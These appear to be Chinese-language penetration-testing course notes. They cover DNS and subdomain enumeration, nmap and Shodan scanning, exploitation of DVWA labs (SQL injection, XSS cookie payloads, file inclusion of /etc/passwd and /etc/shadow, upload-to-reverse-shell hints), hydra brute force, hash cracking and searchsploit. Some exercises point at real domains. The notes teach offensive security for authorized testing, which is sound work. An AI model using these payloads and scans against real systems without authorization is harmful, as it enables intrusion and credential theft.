針對目標網站/IP,利用軟體進行自動化掃描找出可能的資安弱點
針對少量網站/IP,利用駭客技術人工方式深入找出可能的資安弱點
利用各種駭客可能的攻擊方式攻擊目標想保護的標的,包含社交工程、近域攻擊(ex:wifi)
username:kali
password:kali
### Install Metasploitable2
username:admin
password:password
dnsenum --enum google.com.tw
gobuster dns -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -d google.com.tw
牛刀小試 - 利用 RapidDNS 搜尋網站並查看網站數量
延伸練習 - 利用 amass 主動搜尋特定網站所有子域名
(主動掃描可能被視為攻擊,請確定網路環境允許且被受測網站擁有者授權)
請確定已被授權
amass enum -v -src -ip -brute -min-for-recursive 2 -d google.com
dnsenum
dnsenum --enum zonetransfer.me
fierce
fierce --domain zonetransfer.me
dig
牛刀小試 - 利用 Hacker Target 檢測特定網站是否存在 DNS Zone Transfer
延伸練習 - 利用其他工具檢測 vulhub DNS Zone Transfer lab
site
filetype
intitle:"index of"
牛刀小試 - 利用 Google Hacking 找出特定網站是否存在外洩敏感資訊/可再利用資訊
(注意勿存取敏感資訊)
nmap ping scan by cidr
nmap 192.168.217.0/24 -sP
nmap scan all port
nmap -sS <ip/range/cidr> -p-
nmap parameters
list ftp script
cd /usr/share/nmap/scripts && ls ftp* -alh
Script scan
nmap -sS <ip> -Pn -sC --script=<script name>
牛刀小試 - 請使用nmap預設掃描 scanme.nmap.org 看開了那些port與banner
建議指令與結果
Shodan
shodan filter
D-LINK
country:tw
net:140.112.0.0/16
port:3389
http.title:交通大學
http.html:交通大學
vuln:CVE-20xx-xxxx
(Small Business+ $359/month)牛刀小試 - 請使用 shodan 搜尋您熟悉的弱點服務,並且查看台灣 IP 的數量
牛刀小試 - 請使用 dirb 或 gobuster 嘗試列舉 www.walter.com.tw 站台,尋找是否有敏感資訊
參考指令
牛刀小試 - 請使用 GitHack 嘗試攻擊 https://www.walter.com.tw/demo/vul/.git/ 站台
wpscan --url http://walter.com.tw/webservices/wp --api-token=xxxxxxxxxx
使用 token 可以掃描出更多資訊
wpscan token
牛刀小試 - 請利用 10 mins mail 註冊 wpscan 取得 api token
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
牛刀小試 - DVWA Brute Force - low level security 嘗試使用 Burp Suite Intruder找出 admin 的密碼
hydra -L logins.txt -P passwords.txt ftp://localhost/
DVWA sql injection source code
1
'
syntax error
' or 1=1 --
牛刀小試 - DVWA sql injection - low level security 列出所有使用者
延伸練習 - DVWA sql injection - low level security 手動或利用 sqlmap 取得使用者的密碼
sqlmap 攻擊參考指令
牛刀小試 - DVWA File Upload - low level
延伸練習 - DVWA File Upload - Medium level
延伸練習提示
修改副檔名 與 Content-Type: image/jpeg
深入研究 - DVWA File Upload 轉 reverse shell
深入研究提示
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
javascript:alert(1);
牛刀小試 - DVWA XSS (Reflected) low/medium security level 使其彈跳出含有cookie資訊的警告視窗
延伸練習 - DVWA XSS low security level 偷取 cookie 資訊 (非彈跳警告視窗)
延伸練習參考指令
用 web 接取
或使用 xss hunter
/etc/passwd
/etc/shadow
/var/log/apache2/access.log
/proc/self/status
C:/Windows/win.ini
牛刀小試 - DVWA File Inclusion - low security level 嘗試讀取敏感檔案
牛刀小試 - DVWA Command Inclusion - low security level 新增檔案並且讀取是否成功
user | password |
---|---|
admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
gordonb | e99a18c428cb38d5f260853678922e03 |
1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
john hash.txt
hashcat -m 500 -a 0 hash.txt rockyou.txt --username
牛刀小試 - 嘗試使用 john 破解以上hash
延伸練習 - 嘗試破解以下hash (SHA1)
86c16a459ecf39fd76a8e750f9d5074c4722f22b
39b04978ade0b5bd9065703fc95fe658176046d9
searchsploit keyword
searchsploit -x exploit-number
searchsploit -m exploit-number
Kali
sudo python3 -m http.server 9527
Windows
Linux